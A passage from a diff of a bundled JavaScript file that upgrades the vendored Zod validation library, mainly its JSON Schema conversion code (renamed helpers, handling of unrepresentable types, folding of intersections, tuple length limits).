_properties(shape, params) { + return new $ZodCheckProperties({ + check: "properties", + shape, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _mime(types2, params) { return new $ZodCheckMimeType({ check: "mime_type", @@ -65784,23 +69978,23 @@ function _overwrite(tx) { } // @__NO_SIDE_EFFECTS__ function _normalize(form) { - return /* @__PURE__ */ _overwrite((input) => input.normalize(form)); + return /* @__PURE__ */ _overwrite((input2) => input2.normalize(form)); } // @__NO_SIDE_EFFECTS__ function _trim() { - return /* @__PURE__ */ _overwrite((input) => input.trim()); + return /* @__PURE__ */ _overwrite((input2) => input2.trim()); } // @__NO_SIDE_EFFECTS__ function _toLowerCase() { - return /* @__PURE__ */ _overwrite((input) => input.toLowerCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toLowerCase()); } // @__NO_SIDE_EFFECTS__ function _toUpperCase() { - return /* @__PURE__ */ _overwrite((input) => input.toUpperCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toUpperCase()); } // @__NO_SIDE_EFFECTS__ function _slugify() { - return /* @__PURE__ */ _overwrite((input) => slugify(input)); + return /* @__PURE__ */ _overwrite((input2) => slugify(input2)); } // @__NO_SIDE_EFFECTS__ function _array(Class2, element, params) { @@ -65967,7 +70161,7 @@ function _catch(Class2, innerType, catchValue) { return new Class2({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : constantCatch(catchValue) }); } // @__NO_SIDE_EFFECTS__ @@ -66040,7 +70234,8 @@ function _superRefine(fn, params) { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = ch); _issue.continue ?? (_issue.continue = !ch._zod.def.abort); payload.issues.push(issue(_issue)); @@ -66105,8 +70300,8 @@ function _stringbool(Classes, _params) { type: "pipe", in: stringSchema, out: booleanSchema, - transform: (input, payload) => { - let data = input; + transform: (input2, payload) => { + let data = input2; if (params.case !== "sensitive") data = data.toLowerCase(); if (truthySet.has(data)) { @@ -66125,8 +70320,8 @@ function _stringbool(Classes, _params) { return {}; } }, - reverseTransform: (input, _payload) => { - if (input === true) { + reverseTransform: (input2, _payload) => { + if (input2 === true) { return truthyArray[0] || "true"; } else { return falsyArray[0] || "false"; @@ -66134,13 +70329,15 @@ function _stringbool(Classes, _params) { }, error: params.error }); + codec2._zod.bag.truthy = truthyArray; + codec2._zod.bag.falsy = falsyArray; + codec2._zod.bag.case = params.case ?? "insensitive"; return codec2; } // @__NO_SIDE_EFFECTS__ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { const params = normalizeParams(_params); const def = { - ...normalizeParams(_params), check: "string_format", type: "string", format, @@ -66154,7 +70351,17 @@ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { return inst; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/to-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/to-json-schema.js +function assignProps(target, ...sources) { + for (const source of sources) { + for (const key of Reflect.ownKeys(source)) { + if (Object.prototype.propertyIsEnumerable.call(source, key)) { + assignProp(target, key, source[key]); + } + } + } + return target; +} function initializeContext(params) { let target = params?.target ?? "draft-2020-12"; if (target === "draft-4") @@ -66171,12 +70378,25 @@ function initializeContext(params) { io: params?.io ?? "output", counter: 0, seen: /* @__PURE__ */ new Map(), + sharedDefsExtractedFor: void 0, + sharedEmitDoneFor: void 0, cycles: params?.cycles ?? "ref", reused: params?.reused ?? "inline", + intersections: [], + deferred: [], external: params?.external ?? void 0 }; } -function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { +function handleUnrepresentable(schema, ctx, json3, params, message2) { + const result = typeof ctx.unrepresentable === "function" ? ctx.unrepresentable({ zodSchema: schema, path: params.path, message: message2 }) : ctx.unrepresentable; + if (result === "any") + return false; + if (result === void 0 || result === "throw") + throw new Error(message2); + Object.assign(json3, result); + return true; +} +function processSchema(schema, ctx, _params = { path: [], schemaPath: [] }) { var _a3; const def = schema._zod.def; const seen = ctx.seen.get(schema); @@ -66190,6 +70410,8 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { } const result = { schema: {}, count: 1, cycle: void 0, path: _params.path }; ctx.seen.set(schema, result); + ctx.sharedDefsExtractedFor = void 0; + ctx.sharedEmitDoneFor = void 0; const overrideSchema = schema._zod.toJSONSchema?.(); if (overrideSchema) { result.schema = overrideSchema; @@ -66213,13 +70435,13 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { if (parent) { if (!result.ref) result.ref = parent; - process2(parent, ctx, params); + processSchema(parent, ctx, params); ctx.seen.get(parent).isParent = true; } } const meta3 = ctx.metadataRegistry.get(schema); if (meta3) - Object.assign(result.schema, meta3); + assignProps(result.schema, meta3); if (ctx.io === "input" && isTransforming(schema)) { delete result.schema.examples; delete result.schema.default; @@ -66230,10 +70452,15 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { const _result = ctx.seen.get(schema); return _result.schema; } +function encodeJSONPointerSegment(segment) { + return segment.replace(/~/g, "~0").replace(/\//g, "~1"); +} function extractDefs(ctx, schema) { const root = ctx.seen.get(schema); if (!root) throw new Error("Unprocessed schema. This is a bug in Zod."); + if (ctx.external && ctx.sharedDefsExtractedFor === ctx.external) + return; const idToSchema = /* @__PURE__ */ new Map(); for (const entry of ctx.seen.entries()) { const id = ctx.metadataRegistry.get(entry[0])?.id; @@ -66255,15 +70482,15 @@ function extractDefs(ctx, schema) { } const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`; entry[1].defId = id; - return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${id}` }; - } - if (entry[1] === root) { - return { ref: "#" }; + return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${encodeJSONPointerSegment(id)}` }; } const uriPrefix = `#`; const defUriPrefix = `${uriPrefix}/${defsSegment}/`; + if (entry[1] === root && !entry[1].schema.id) { + return { ref: uriPrefix }; + } const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`; - return { defId, ref: defUriPrefix + defId }; + return { defId, ref: defUriPrefix + encodeJSONPointerSegment(defId) }; }; const extractToDef = (entry) => { if (entry[1].schema.$ref) { @@ -66315,10 +70542,119 @@ Set the \`cycles\` parameter to \`"ref"\` to resolve cyclical schemas with defs. if (seen.count > 1) { if (ctx.reused === "ref") { extractToDef(entry); + } + } + } + if (ctx.external) + ctx.sharedDefsExtractedFor = ctx.external; +} +function compactTypeUnion(schema) { + const options = schema.anyOf; + if (!Array.isArray(options) || options.length === 0 || schema.type !== void 0) + return; + const types2 = []; + for (const option of options) { + if (!option || typeof option !== "object") + return; + compactTypeUnion(option); + const keys = Object.keys(option); + if (keys.length !== 1 || keys[0] !== "type") + return; + const type = option.type; + for (const member of Array.isArray(type) ? type : [type]) { + if (typeof member !== "string") + return; + if (!types2.includes(member)) + types2.push(member); + } + } + delete schema.anyOf; + schema.type = types2.length === 1 ? types2[0] : types2; +} +var FOLDABLE_KEYS = /* @__PURE__ */ new Set(["type", "properties", "required", "additionalProperties"]); +var UNION_KEYS = ["oneOf", "anyOf"]; +function undeclaredConstraint(member) { + const extra = member.additionalProperties; + if (extra === void 0 || extra === false || typeof extra !== "object" || extra === null) + return null; + return Object.keys(extra).length ? extra : null; +} +function foldObjects(members2) { + const objects = []; + for (const member of members2) { + if (typeof member !== "object" || member.type !== "object") + return null; + for (const key in member) { + if (!FOLDABLE_KEYS.has(key)) + return null; + } + objects.push(member); + } + const properties = {}; + const required2 = /* @__PURE__ */ new Set(); + for (const object2 of objects) { + for (const key in object2.properties) { + if (Object.prototype.hasOwnProperty.call(properties, key)) continue; + const parts = []; + for (const other of objects) { + const part = other.properties?.[key] ?? undeclaredConstraint(other); + if (part === null || part === void 0) + continue; + if (!parts.some((seen) => JSON.stringify(seen) === JSON.stringify(part))) + parts.push(part); } + const merged = parts.length === 1 ? parts[0] : foldObjects(parts) ?? { allOf: parts }; + assignProp(properties, key, merged); } + for (const key of object2.required ?? []) + required2.add(key); } + const folded = { type: "object", properties }; + if (required2.size) + folded.required = [...required2]; + if (objects.every((object2) => object2.additionalProperties === false)) { + folded.additionalProperties = false; + } else { + const constraints = []; + for (const object2 of objects) { + const constraint = undeclaredConstraint(object2); + if (constraint && !constraints.some((seen) => JSON.stringify(seen) === JSON.stringify(constraint))) + constraints.push(constraint); + } + if (constraints.length === 1) + folded.additionalProperties = constraints[0]; + else if (constraints.length > 1) + folded.additionalProperties = { allOf: constraints }; + } + return folded; +} +function foldIntersection(json3) { + const allOf = json3.allOf; + if (!Array.isArray(allOf) || allOf.length < 2) + return; + for (const key of FOLDABLE_KEYS) + if (key in json3) + return; + const unions = allOf.filter((m) => UNION_KEYS.some((k) => Array.isArray(m[k]))); + let folded = null; + if (!unions.length) { + folded = foldObjects(allOf); + } else { + const union3 = unions[0]; + const keyword = UNION_KEYS.find((k) => Array.isArray(union3[k])); + if (Object.keys(union3).length !== 1) + return; + const rest = allOf.filter((m) => m !== union3); + const branches = union3[keyword].map((branch) => foldObjects([...rest, branch])); + if (branches.some((b2) => !b2)) + return; + folded = { [keyword]: branches }; + } + if (!folded) + return; + delete json3.allOf; + assignProps(json3, folded); } function finalize(ctx, schema) { const root = ctx.seen.get(schema); @@ -66340,9 +70676,9 @@ function finalize(ctx, schema) { schema2.allOf = schema2.allOf ?? []; schema2.allOf.push(refSchema); } else { - Object.assign(schema2, refSchema); + assignProps(schema2, refSchema); } - Object.assign(schema2, _cached); + assignProps(schema2, _cached); const isParentRef = zodSchema._zod.parent === ref; if (isParentRef) { for (const key in schema2) { @@ -66386,8 +70722,36 @@ function finalize(ctx, schema) { path: seen.path ?? [] }); }; - for (const entry of [...ctx.seen.entries()].reverse()) { - flattenRef(entry[0]); + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of [...ctx.seen.entries()].reverse()) { + flattenRef(entry[0]); + } + if (ctx.target !== "openapi-3.0") { + for (const entry of ctx.seen.entries()) { + compactTypeUnion(entry[1].def ?? entry[1].schema); + } + } + for (const rewrite of ctx.deferred) + rewrite(); + if (ctx.intersections.length) { + const carriers = /* @__PURE__ */ new Map(); + for (const seen of ctx.seen.values()) { + for (const json3 of [seen.schema, seen.def]) { + const allOf = json3?.allOf; + if (!Array.isArray(allOf)) + continue; + const existing = carriers.get(allOf); + if (existing) + existing.push(json3); + else + carriers.set(allOf, [json3]); + } + } + for (const allOf of ctx.intersections) { + for (const json3 of carriers.get(allOf) ?? []) + foldIntersection(json3); + } + } } const result = {}; if (ctx.target === "draft-2020-12") { @@ -66405,19 +70769,23 @@ function finalize(ctx, schema) { throw new Error("Schema is missing an `id` property"); result.$id = ctx.external.uri(id); } - Object.assign(result, root.def ?? root.schema); + assignProps(result, root.defId ? root.schema : root.def ?? root.schema); const rootMetaId = ctx.metadataRegistry.get(schema)?.id; if (rootMetaId !== void 0 && result.id === rootMetaId) delete result.id; const defs = ctx.external?.defs ?? {}; - for (const entry of ctx.seen.entries()) { - const seen = entry[1]; - if (seen.def && seen.defId) { - if (seen.def.id === seen.defId) - delete seen.def.id; - defs[seen.defId] = seen.def; + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of ctx.seen.entries()) { + const seen = entry[1]; + if (seen.def && seen.defId) { + if (seen.def.id === seen.defId) + delete seen.def.id; + assignProp(defs, seen.defId, seen.def); + } } } + if (ctx.external) + ctx.sharedEmitDoneFor = ctx.external; if (ctx.external) { } else { if (Object.keys(defs).length > 0) { @@ -66460,7 +70828,7 @@ function isTransforming(_schema, _ctx) { return isTransforming(def.valueType, ctx); if (def.type === "lazy") return isTransforming(def.getter(), ctx); - if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault") { + if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault" || def.type === "catch") { return isTransforming(def.innerType, ctx); } if (def.type === "intersection") { @@ -66501,19 +70869,107 @@ function isTransforming(_schema, _ctx) { } var createToJSONSchemaMethod = (schema, processors = {}) => (params) => { const ctx = initializeContext({ ...params, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; var createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => { const { libraryOptions, target } = params ?? {}; const ctx = initializeContext({ ...libraryOptions ?? {}, target, io, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-processors.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-processors.js +var narrowMin = (agg, key, value) => { + if (agg[key] === void 0 || value > agg[key]) + agg[key] = value; +}; +var narrowMax = (agg, key, value) => { + if (agg[key] === void 0 || value < agg[key]) + agg[key] = value; +}; +var narrowBoth = (agg, value) => { + narrowMin(agg, "minimum", value); + narrowMax(agg, "maximum", value); +}; +var addDivisor = (agg, value) => { + agg.multipleOf ?? (agg.multipleOf = []); + if (!agg.multipleOf.includes(value)) + agg.multipleOf.push(value); +}; +var addPattern = (agg, pattern) => { + agg.patterns ?? (agg.patterns = /* @__PURE__ */ new Set()); + agg.patterns.add(pattern); +}; +var intersectMime = (agg, mime) => { + agg.mime = agg.mime ? agg.mime.filter((m) => mime.includes(m)) : [...mime]; +}; +var setFormat = (agg, format) => { + agg.format = format; + if (format.includes("int")) + agg.isInt = true; +}; +var minContributor = (agg, def) => narrowMin(agg, "minimum", def.minimum); +var maxContributor = (agg, def) => narrowMax(agg, "maximum", def.maximum); +var formatContributor = (ranges) => (agg, def) => { + setFormat(agg, def.format); + const [minimum, maximum] = ranges[def.format]; + narrowMin(agg, "minimum", minimum); + narrowMax(agg, "maximum", maximum); +}; +var contributors = { + greater_than: (agg, def) => narrowMin(agg, def.inclusive ? "minimum" : "exclusiveMinimum", def.value), + less_than: (agg, def) => narrowMax(agg, def.inclusive ? "maximum" : "exclusiveMaximum", def.value), + multiple_of: (agg, def) => addDivisor(agg, def.value), + number_format: formatContributor(NUMBER_FORMAT_RANGES), + bigint_format: formatContributor(BIGINT_FORMAT_RANGES), + min_length: minContributor, + max_length: maxContributor, + length_equals: (agg, def) => narrowBoth(agg, def.length), + min_size: minContributor, + max_size: maxContributor, + size_equals: (agg, def) => narrowBoth(agg, def.size), + string_format: (agg, def) => { + setFormat(agg, def.format); + if (def.pattern) + addPattern(agg, def.pattern); + if (def.format === "base64" || def.format === "base64url") + agg.contentEncoding = def.format; + if (def.local || def.precision === -1) + agg.laxFormat = true; + }, + mime_type: (agg, def) => intersectMime(agg, def.mime) +}; +function aggregateChecks(schema) { + const agg = {}; + const def = schema._zod.def; + const list = schema._zod.traits.has("$ZodCheck") ? [schema, ...def.checks ?? []] : def.checks ?? []; + for (const ch of list) + contributors[ch._zod.def.check]?.(agg, ch._zod.def); + const bag = schema._zod.bag; + if (bag.minimum !== void 0) + narrowMin(agg, "minimum", bag.minimum); + if (bag.exclusiveMinimum !== void 0) + narrowMin(agg, "exclusiveMinimum", bag.exclusiveMinimum); + if (bag.maximum !== void 0) + narrowMax(agg, "maximum", bag.maximum); + if (bag.exclusiveMaximum !== void 0) + narrowMax(agg, "exclusiveMaximum", bag.exclusiveMaximum); + if (bag.multipleOf !== void 0) + addDivisor(agg, bag.multipleOf); + if (bag.format !== void 0) { + agg.format ?? (agg.format = bag.format); + if (bag.format.includes("int")) + agg.isInt = true; + } + if (bag.mime) + intersectMime(agg, bag.mime); + for (const pattern of bag.patterns ?? []) + addPattern(agg, pattern); + return agg; +} var formatMap = { guid: "uuid", url: "uri", @@ -66522,10 +70978,15 @@ var formatMap = { regex: "" // do not set }; +var exactPatterns = /* @__PURE__ */ new Map([ + [base64Charset, base64], + [base64urlCharset, base64url] +]); +var exactPattern = (p) => exactPatterns.get(p) ?? p; var stringProcessor = (schema, ctx, _json, _params) => { const json3 = _json; json3.type = "string"; - const { minimum, maximum, format, patterns, contentEncoding } = schema._zod.bag; + const { minimum, maximum, format, patterns, contentEncoding, laxFormat } = aggregateChecks(schema); if (typeof minimum === "number") json3.minLength = minimum; if (typeof maximum === "number") @@ -66534,19 +70995,19 @@ var stringProcessor = (schema, ctx, _json, _params) => { json3.format = formatMap[format] ?? format; if (json3.format === "") delete json3.format; - if (format === "time") { + if (format === "time" || laxFormat) { delete json3.format; } } if (contentEncoding) json3.contentEncoding = contentEncoding; if (patterns && patterns.size > 0) { - const regexes = [...patterns]; - if (regexes.length === 1) - json3.pattern = regexes[0].source; - else if (regexes.length > 1) { + const patternList = [...patterns].map(exactPattern); + if (patternList.length === 1) + json3.pattern = patternList[0].source; + else if (patternList.length > 1) { json3.allOf = [ - ...regexes.map((regex) => ({ + ...patternList.map((regex) => ({ ...ctx.target === "draft-07" || ctx.target === "draft-04" || ctx.target === "openapi-3.0" ? { type: "string" } : {}, pattern: regex.source })) @@ -66554,13 +71015,10 @@ var stringProcessor = (schema, ctx, _json, _params) => { } } }; -var numberProcessor = (schema, ctx, _json, _params) => { +var numberProcessor = (schema, ctx, _json, params) => { const json3 = _json; - const { minimum, maximum, format, multipleOf, exclusiveMaximum, exclusiveMinimum } = schema._zod.bag; - if (typeof format === "string" && format.includes("int")) - json3.type = "integer"; - else - json3.type = "number"; + const { minimum, maximum, multipleOf, exclusiveMaximum, exclusiveMinimum, isInt } = aggregateChecks(schema); + json3.type = isInt ? "integer" : "number"; const exMin = typeof exclusiveMinimum === "number" && exclusiveMinimum >= (minimum ?? Number.NEGATIVE_INFINITY); const exMax = typeof exclusiveMaximum === "number" && exclusiveMaximum <= (maximum ?? Number.POSITIVE_INFINITY); const legacy = ctx.target === "draft-04" || ctx.target === "openapi-3.0"; @@ -66584,21 +71042,29 @@ var numberProcessor = (schema, ctx, _json, _params) => { } else if (typeof maximum === "number") { json3.maximum = maximum; } - if (typeof multipleOf === "number") - json3.multipleOf = multipleOf; + if (multipleOf) { + const divisors = /* @__PURE__ */ new Set(); + for (const divisor of multipleOf) { + if (Number.isFinite(divisor) && divisor !== 0) + divisors.add(Math.abs(divisor)); + else + handleUnrepresentable(schema, ctx, json3, params, `A multipleOf divisor of ${divisor} cannot be represented in JSON Schema`); + } + const [first, ...rest] = divisors; + if (first !== void 0) + json3.multipleOf = first; + if (rest.length) + json3.allOf = [...json3.allOf ?? [], ...rest.map((m) => ({ multipleOf: m }))]; + } }; var booleanProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var bigintProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt cannot be represented in JSON Schema"); - } +var bigintProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "BigInt cannot be represented in JSON Schema"); }; -var symbolProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Symbols cannot be represented in JSON Schema"); - } +var symbolProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Symbols cannot be represented in JSON Schema"); }; var nullProcessor = (_schema, ctx, json3, _params) => { if (ctx.target === "openapi-3.0") { @@ -66609,15 +71075,11 @@ var nullProcessor = (_schema, ctx, json3, _params) => { json3.type = "null"; } }; -var undefinedProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Undefined cannot be represented in JSON Schema"); - } +var undefinedProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Undefined cannot be represented in JSON Schema"); }; -var voidProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Void cannot be represented in JSON Schema"); - } +var voidProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Void cannot be represented in JSON Schema"); }; var neverProcessor = (_schema, _ctx, json3, _params) => { json3.not = {}; @@ -66626,35 +71088,37 @@ var anyProcessor = (_schema, _ctx, _json, _params) => { }; var unknownProcessor = (_schema, _ctx, _json, _params) => { }; -var dateProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Date cannot be represented in JSON Schema"); - } +var dateProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Date cannot be represented in JSON Schema"); }; var enumProcessor = (schema, _ctx, json3, _params) => { const def = schema._zod.def; const values2 = getEnumValues(def.entries); + if (values2.length === 0) { + json3.not = {}; + return; + } if (values2.every((v) => typeof v === "number")) json3.type = "number"; if (values2.every((v) => typeof v === "string")) json3.type = "string"; json3.enum = values2; }; -var literalProcessor = (schema, ctx, json3, _params) => { +var literalProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; + if (def.values.length === 0) { + json3.not = {}; + return; + } const vals = []; for (const val of def.values) { if (val === void 0) { - if (ctx.unrepresentable === "throw") { - throw new Error("Literal `undefined` cannot be represented in JSON Schema"); - } else { - } + if (handleUnrepresentable(schema, ctx, json3, params, "Literal `undefined` cannot be represented in JSON Schema")) + return; } else if (typeof val === "bigint") { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt literals cannot be represented in JSON Schema"); - } else { - vals.push(Number(val)); - } + if (handleUnrepresentable(schema, ctx, json3, params, "BigInt literals cannot be represented in JSON Schema")) + return; + vals.push(Number(val)); } else { vals.push(val); } @@ -66680,10 +71144,8 @@ var literalProcessor = (schema, ctx, json3, _params) => { json3.enum = vals; } }; -var nanProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("NaN cannot be represented in JSON Schema"); - } +var nanProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "NaN cannot be represented in JSON Schema"); }; var templateLiteralProcessor = (schema, _ctx, json3, _params) => { const _json = json3; @@ -66695,93 +71157,90 @@ var templateLiteralProcessor = (schema, _ctx, json3, _params) => { }; var fileProcessor = (schema, _ctx, json3, _params) => { const _json = json3; - const file2 = { - type: "string", - format: "binary", - contentEncoding: "binary" - }; - const { minimum, maximum, mime } = schema._zod.bag; + _json.type = "string"; + _json.format = "binary"; + _json.contentEncoding = "binary"; + const { minimum, maximum, mime } = aggregateChecks(schema); if (minimum !== void 0) - file2.minLength = minimum; + _json.minLength = minimum; if (maximum !== void 0) - file2.maxLength = maximum; - if (mime) { - if (mime.length === 1) { - file2.contentMediaType = mime[0]; - Object.assign(_json, file2); - } else { - Object.assign(_json, file2); - _json.anyOf = mime.map((m) => ({ contentMediaType: m })); - } - } else { - Object.assign(_json, file2); - } + _json.maxLength = maximum; + if (!mime) + return; + if (mime.length === 0) + _json.not = {}; + else if (mime.length === 1) + _json.contentMediaType = mime[0]; + else + _json.anyOf = mime.map((m) => ({ contentMediaType: m })); }; var successProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var customProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Custom types cannot be represented in JSON Schema"); - } +var customProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Custom types cannot be represented in JSON Schema"); }; -var functionProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Function types cannot be represented in JSON Schema"); - } +var functionProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Function types cannot be represented in JSON Schema"); }; -var transformProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Transforms cannot be represented in JSON Schema"); - } +var transformProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Transforms cannot be represented in JSON Schema"); }; -var mapProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Map cannot be represented in JSON Schema"); - } +var mapProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Map cannot be represented in JSON Schema"); }; -var setProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Set cannot be represented in JSON Schema"); - } +var setProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Set cannot be represented in JSON Schema"); }; var arrayProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; json3.type = "array"; - json3.items = process2(def.element, ctx, { + json3.items = processSchema(def.element, ctx, { ...params, path: [...params.path, "items"] }); }; +function inputOptin(schema) { + const def = schema._zod.def; + if (def.type === "pipe" && def.in._zod.traits.has("$ZodTransform")) { + return inputOptin(def.out); + } + if (def.type === "catch") { + return inputOptin(def.innerType); + } + return schema._zod.optin; +} var objectProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; + const shape = def.shape; + const symbolKeys = Object.getOwnPropertySymbols(shape); + if (symbolKeys.length && handleUnrepresentable(schema, ctx, json3, params, "Symbol keys cannot be represented in JSON Schema")) { + return; + } json3.type = "object"; json3.properties = {}; - const shape = def.shape; for (const key in shape) { - json3.properties[key] = process2(shape[key], ctx, { + assignProp(json3.properties, key, processSchema(shape[key], ctx, { ...params, path: [...params.path, "properties", key] - }); + })); } - const allKeys = new Set(Object.keys(shape)); - const requiredKeys = new Set([...allKeys].filter((key) => { - const v = def.shape[key]._zod; - if (ctx.io === "input") { - return v.optin === void 0; - } else { - return v.optout === void 0; + const requiredKeys = []; + for (const key of Object.keys(shape)) { + const field = def.shape[key]; + if (ctx.io === "input" ? inputOptin(field) === void 0 : field._zod.optout === void 0) { + requiredKeys.push(key); } - })); - if (requiredKeys.size > 0) { - json3.required = Array.from(requiredKeys); + } + if (requiredKeys.length > 0) { + json3.required = requiredKeys; } if (def.catchall?._zod.def.type === "never") { json3.additionalProperties = false; @@ -66789,7 +71248,7 @@ var objectProcessor = (schema, ctx, _json, params) => { if (ctx.io === "output") json3.additionalProperties = false; } else if (def.catchall) { - json3.additionalProperties = process2(def.catchall, ctx, { + json3.additionalProperties = processSchema(def.catchall, ctx, { ...params, path: [...params.path, "additionalProperties"] }); @@ -66798,7 +71257,7 @@ var objectProcessor = (schema, ctx, _json, params) => { var unionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; const isExclusive = def.inclusive === false; - const options = def.options.map((x, i) => process2(x, ctx, { + const options = def.options.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, isExclusive ? "oneOf" : "anyOf", i] })); @@ -66810,11 +71269,11 @@ var unionProcessor = (schema, ctx, json3, params) => { }; var intersectionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const a = process2(def.left, ctx, { + const a = processSchema(def.left, ctx, { ...params, path: [...params.path, "allOf", 0] }); - const b2 = process2(def.right, ctx, { + const b2 = processSchema(def.right, ctx, { ...params, path: [...params.path, "allOf", 1] }); @@ -66824,6 +71283,7 @@ var intersectionProcessor = (schema, ctx, json3, params) => { ...isSimpleIntersection(b2) ? b2.allOf : [b2] ]; json3.allOf = allOf; + ctx.intersections.push(allOf); }; var tupleProcessor = (schema, ctx, _json, params) => { const json3 = _json; @@ -66831,19 +71291,35 @@ var tupleProcessor = (schema, ctx, _json, params) => { json3.type = "array"; const prefixPath = ctx.target === "draft-2020-12" ? "prefixItems" : "items"; const restPath = ctx.target === "draft-2020-12" ? "items" : ctx.target === "openapi-3.0" ? "items" : "additionalItems"; - const prefixItems = def.items.map((x, i) => process2(x, ctx, { + const prefixItems = def.items.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, prefixPath, i] })); - const rest = def.rest ? process2(def.rest, ctx, { + const rest = def.rest ? processSchema(def.rest, ctx, { ...params, path: [...params.path, restPath, ...ctx.target === "openapi-3.0" ? [def.items.length] : []] }) : null; + let minItems = def.items.length; + while (minItems > 0) { + const item = def.items[minItems - 1]; + const optional2 = ctx.io === "input" ? inputOptin(item) !== void 0 : item._zod.optout === "optional"; + if (!optional2) + break; + minItems--; + } + const maxItems = def.items.length; + const isClosed = !def.rest; if (ctx.target === "draft-2020-12") { json3.prefixItems = prefixItems; - if (rest) { + if (isClosed) { + json3.items = false; + } else if (rest) { json3.items = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else if (ctx.target === "openapi-3.0") { json3.items = { anyOf: prefixItems @@ -66851,61 +71327,137 @@ var tupleProcessor = (schema, ctx, _json, params) => { if (rest) { json3.items.anyOf.push(rest); } - json3.minItems = prefixItems.length; - if (!rest) { - json3.maxItems = prefixItems.length; - } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else { json3.items = prefixItems; - if (rest) { + if (isClosed) { + json3.additionalItems = false; + } else if (rest) { json3.additionalItems = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; }; +function stringifyKeyNames(bySchema, json3, visited) { + if (json3.$ref) { + if (visited.has(json3)) + return json3; + visited.add(json3); + const def = bySchema.get(json3)?.def; + if (!def) + return json3; + const inlined = stringifyKeyNames(bySchema, def, visited); + return inlined === def ? json3 : inlined; + } + for (const keyword of ["anyOf", "oneOf"]) { + const branches = 